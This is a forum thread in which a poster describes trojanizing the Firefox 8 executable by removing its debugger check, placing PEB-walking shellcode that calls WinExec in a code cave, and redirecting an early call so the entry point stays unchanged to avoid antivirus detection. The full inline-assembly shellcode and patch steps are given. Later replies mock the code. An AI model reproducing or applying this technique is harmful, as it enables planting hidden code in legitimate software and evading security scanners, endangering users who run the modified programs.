(RE) Mozilla FireFox


Recommended Posts

Tested on FireFox v. 8

First thing is grab OllyDbg and do a search for intermodular calls

in my case i see

00401D6B CALL DWORD PTR DS:[<&KERNEL32.IsDebugger>7C813133 kernel32.IsDebuggerPresent

upon heading to that address i see

so i got to thinking as a VXR, when i changed any entrypoint address with PEeditor or otherwise its detected as a variant virus by 2 of jotti's scanners

how do we get around this?? easy..

NOP all that **** out from the bottom (kernel:isdebuggerpresent) to the top (int 3)

then starting at the 00401CAF CC INT3 .... replace with ...

PUSHAD useful to preserve registers BEFORE we hit this opcode

the reason for this working nicely is because the ENTRY POINT to Mozilla is going to be changed to

CPU Disasm

Address Hex dump Command Comments

00401840 /. E8 6A040000 CALL 00401CAF

this way the entry point address in the PE tables of the exe REMAINS THE SAME (AV reasons)

so starting at 00401CAF (in my case) up to 00401D8F

replace all of firefox's opcode to the following... either done by hexeditor or changing it with OllyDBG and copying it to the executable

save.. what happens is that is a modded up version of an opcode used to travers the PEB and to WinExec notepad... then once notepad is executed it sends the "flow" back to Fox's normal execution point which would normally take place after that first "normal" call to ---> 00401C00 /. 83EC 10 SUB ESP,10

and normal Fox operations proceed


00401D66 61 DB 61 ; CHAR 'a'

is a POPAD instruction.. when we pushad to preserve registers we pop ebp about 8 times to remove the left over crap from WinExec off the stack.. leaving all the values of the PUSHAD

i chose POPAD for this quick scenario because i hard coded the values of the registers myself before calling the

00401C00 /. 83EC 10 SUB ESP,10

you could easily perform operations such as

mov eax,0

mov ecx,[esp+x]

mov edx,[esp+x]

mov ebx,[esp+x]

esi edi ebp esp the same way.. where X is some value on the stack.. i'll leave that up to you (also verified)

posted the notepad modded up opcode all over the net but for simplicity sake under Dev-C++ it looks like this

//ADD -masm=intel to Compiler Options
int main()
"pop ebp\n\t\t"
"sub ebp, Delta\n\t\t"
"xor eax, eax\n"
"mov eax, [fs:0x30]\n"
"mov eax, [eax+0x0c]\n"
"mov eax,dword ptr [eax + 0x0C]\n"
"mov eax, dword ptr [eax]\n"
"mov eax, dword ptr [eax]\n"
"mov eax, dword ptr [eax+0x18]\n" //EAX HAS THE KERNEL BASE ADDRESS
"mov edi,eax\n" // edi = eax = kernel32.BaseAddress
"mov eax,dword ptr [eax + 0x3C]\n" // offset to start of PE header
"mov edx,dword ptr [eax + 0x78 + edi]\n" // IMAGE_EXPORT_DIRECTORY--->RVA
"add edx,edi\n" // IMAGE_EXPORT_DIRECTORY--->VA = edx
"mov ecx,dword ptr [edx + 0x18]\n" // ecx = NumberOfNames
"mov ebx,dword ptr [edx + 0x20]\n" // ebx = AddressOfNames
"add ebx,edi\n"
"dec ecx\n" // ecx --- NumberOfNames ???? ---- ????????
"mov esi,dword ptr [ebx + ecx * 4]\n" // Name -- RVA
"add esi,edi\n"
"cmp dword ptr [esi],0x50746547\n" //PteG

"jnz _Index\n"
"cmp word ptr [esi + 0x0C],0x7373\n" //ss
"jnz _Index\n"
"mov ebx,dword ptr [edx + 0x24]\n" // AddressOfNameOridinals --- ?????
"add ebx,edi\n"
"mov cx, word ptr [ebx + ecx * 2]\n"
"mov ebx,dword ptr [edx + 0x1C]\n" // ebx = AddressOfFunctions
"add ebx,edi\n"
"mov eax,dword ptr [ebx + ecx * 4]\n"
"add eax,edi\n" // GetProcAddress ---- ????
"mov ebx,eax\n"
"push 0x4178\n"
"push 0x45797261\n"
"push 0x7262694c\n"
"push 0x64616f4c\n"
"push esp\n"
"push edi\n"
"call eax\n"
"mov edx,eax\n"
"push 0x00636578\n"
"push 0x456E6957\n"
"mov eax, esp\n"
"push eax\n"
"push edi\n"
"call ebx\n"
"push 0x00646170\n"
"push 0x65746F6E\n"
"push 1\n"
"inc esp\n"
"inc esp\n"
"inc esp\n"
"inc esp\n"
"lea esi,[esp]\n"
"push 1\n"
"push esi\n"
"call eax\n" //YEA POOR EXITING... <exitprocess calling would work>
//"push 0x0040136E\n"

the original opcode to the above (from baidu) can be seen if you google....

reason for removing the emit is because once you hard code bytes into your ASM file(exe) with [emit] the OS will give the array structure a memory address from the imagebase (just the way it works)

so now NO HARD CODED memory addresses (which is what yu want so its more cross system compatible)

nothing great.. but it works for me.. on XP SP3 system..

What are you doing there? I don't understand what's the goal of this post, some shellcode thing?

yea embedding shellcode into a mozilla firefox cave...

changing the entry point call to that shellcode then releasing control back to fox

Since ya cant add a new section to Fox without overwriting the DLL's so.. this is how i added code

sorry if it aint good nuff for ya'll

trying to be leet from the looks of things, blinding us with his/her new found knowledge about 10 years too late...

begone skript kiddie

yea sorry i'll keep working on my bash and batch scripts... PUT ME IN COACH! I'll get better!!

really pathetic to be honest.. both your reply and the code...

"inc esp\n" "inc esp\n" "inc esp\n" "inc esp\n" "

great code there :P

and "Since ya cant add a new section to Fox without overwriting the DLL's so.. this is how i added code sorry if it aint good nuff for ya'll"

realy? overwriting dlls? huh?

yea you were right.. the parasite at Rohitab works, my stage 1 parasite works, PE editor works... i had fox in the wrong directory when i went to run it

But im kinda glad i did **** up... never woulda fig'd how to avoid the opcodes EMIT sections

so.. how wouldya add a new section to NOTEPAD without the above tricks??

Link to comment

how would i add a new section to notepad?

grow the **** up!, you are trying to impress us with stuff you learn when cracking.. yes, learn.. not steal from some script kiddies post on a site pretty much catering for script / coding noobs (batch scripts etc.. gtfo)

Let us keep our replies on topic please. Comments are welcome as long as they are constructive, if your going to lower the tone it's probably better left unsaid...
